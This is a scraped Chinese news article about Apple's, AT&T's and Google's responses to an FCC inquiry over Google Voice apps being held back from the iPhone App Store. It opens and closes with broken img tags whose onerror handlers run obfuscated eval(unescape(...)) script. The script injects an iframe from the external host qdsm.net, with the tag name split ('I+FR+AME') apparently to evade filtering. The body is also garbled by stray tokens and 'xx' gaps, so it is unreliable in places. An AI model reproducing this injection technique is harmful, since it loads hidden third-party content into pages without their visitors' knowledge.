0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_728_90.html%20width%3D728%20height%3D90%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

原本只是一件单纯（？）的软件审核问题，最终却引来了 FCC 的深入调查，甚至还各寄一封信苹果、AT&T、Google 这三家公司，希望他们把事情交代清楚；而最近这三方针对 FCC 问题回复内容也对外公布了，以下就让咱们先来看个大概吧！

AT&T 方面一如往常的在回复中否认干涉过 Google Voice 服务软件的审核，不过他们承认，确实有对于一些可能造成电信网络壅塞（总之就是很在意、坚持不能让一些 iPhone 软件造成他们家手机网络塞车就是）的软件进行讨论（一如一些影像的串流软件 Final Four、SlingPlayer Mobile 等， {zh1}几乎都被限制在仅能透过 WiFi 来传输数据）。

苹果的部分，一样坚持先前的说法，表示 Google Voice 相关的软件，会让使用者与其它 iPhone 原先内置的功能混淆，明显跟软件功能不能跟 iPhone 原先功能重迭的原则抵触；当中还有一个有趣的点是说，AT&T 一方面对 iPhone 上头的软件表达意见， 却放行 Windows Mobile 平台上面的功能近似软件，这点确实让人有些不解。

而苹果也在自白中，讲了一句相当中肯的话，他们表示，这些都是一些新浮现的问题（过去不论是手机制造商、电信业者都没有遇到过这样的处境），而将来不管整起事件会如何发展，都会对电信商、手机制造商、手机软件开发者有长远的影响；跳转后请耐心收看主站为大家整理的三方针对 FCC 问题的响应重点条列。

[]

• Google Voice 相关的软件并没有被苹果打回票，目前还在审查当中就是
  
• 苹果在意的点，是说 Google Voice 服务会改变『iPhone 特异的使用者体验模式』，同时将可能会让 Visual Voicemail 无用武之地
  
• Google Voice 将 iPhone 使用者的联络人数据全部回传到 Google 家的服务器，但却又没有保证数据的安全性，有被滥用的疑虑。（不过 Mac OS X 也把 Address Book 同步到 Google 上面，这又怎么算？）
• GV Mobile、GVDialer、VoiceCentral 等 Google Voice 服务软件都有上述的问题
  
• 苹果方面说关于 Google Voice 相关软件的审核过程，并没有采纳过 AT&T 的意见，苹果对于软件的审核过程，是独立的作业，同时有最终的决定权；不过跟 AT&T 的合约中，确实有禁止苹果让 VoIP 软件透过其 3G 网络传输数据的协议
  
• 软件审核的过程，主要的重点是在软件本身的质量以及是否有 bug 等部分
  
• SlingPlayer Mobile 起初被退回的原因，是因为他将电视讯号通过 AT&T 的手机网络传送，而这部分违反了 AT&T 的使用者协议
• App Store 的软件审核，主要是由四十位受过专业训练的全职审核员来执行，同时一套软件至少会被两位不同的审核员审核过，另外也还设有 App Store 审核执行会（App Store Executive Review Board），每个xx定期会议来针对软件审核的程序、规定进行讨论，同时也会对于一些『引起xx』的软件进行深入讨论（Phil Schiller！）
• 苹果每周会收到近 8,500 套软件 / 软件更新，不过当中仅有 20% 的软件被退件
  

• AT&T 没有参与苹果任何 iPhone 软件的审核，Google Voice 相关软件亦同
• 不过 AT&T 曾经和苹果进行部分软件的『技术讨论』（主要是说对于他们家网络是否会有影响的部分），同时他们也很担心一些影音实时串流，好比说 Pandora、Final Four（MobiTV）等，而最终苹果通过改变音源串流的方式，让 Pandora 顺利上架，不过 Final Four 当中的影像串流功能最终还是被移除
  
• 另外他们也和苹果讨论过，是否其它种类的软件，符合当初两方的合约规定，以及 AT&T 网络使用协议等
  
• 原先两方的约定，是说利用 AT&T 3G 网络进行 VoIP 通话的软件一律禁止，不过现在 AT&T 将会重新考虑该问题
  
• iPhone / 苹果所得到的电信补贴，是 AT&T 有史以来付过{zd0}的一笔
  
• AT&T 禁止电视内容串流软件，一如 SlingPlayer Mobile，是为了保护电信服务的质量，因为大部分的影像串流软件，都不会将影格率降到合理（不会造成手机网络阻塞）的范围
• AT&T 曾有三次主动发现问题软件回报苹果；当中有两次苹果请 AT&T 自行联络原作者；另一次则是由苹果自行处理
• AT&T 目前也有撰写一些 iPhone 软件，包括一个可以『找厕所』的软件 Have2P

• 有关苹果给予 Google Voice 相关软件下架（依照苹果的说法是还在审查）的理由，这部分 Google 方面的响应是xx不公开，这...是为何呢？）
• Google Voice 服务相关的软件目前已经以『网络软件』的方式，让使用者持续使用，不过 Google 坚持还是以手机软件的形式呈现，对使用者才是最便利
  
• Google 从未在软件上架到 Android Market 前，来审核软件，通常都是事后由使用者发现软件含有不适当的内容（xx、侵犯他人著作权等内容），接到检举才会去处理；不过针对软件是否适合安装到目标装置，Google 有一套兼容性、安全性的自动检测系统。
  
• 由于 Google 是以一个受害者的姿态在自白，也因此也没说到太多重点（重点都被自己用立可白划掉）；不过往后对于双 A 想必只会逼的更紧

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_180_150.html%20width%3D180%20height%3D150%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">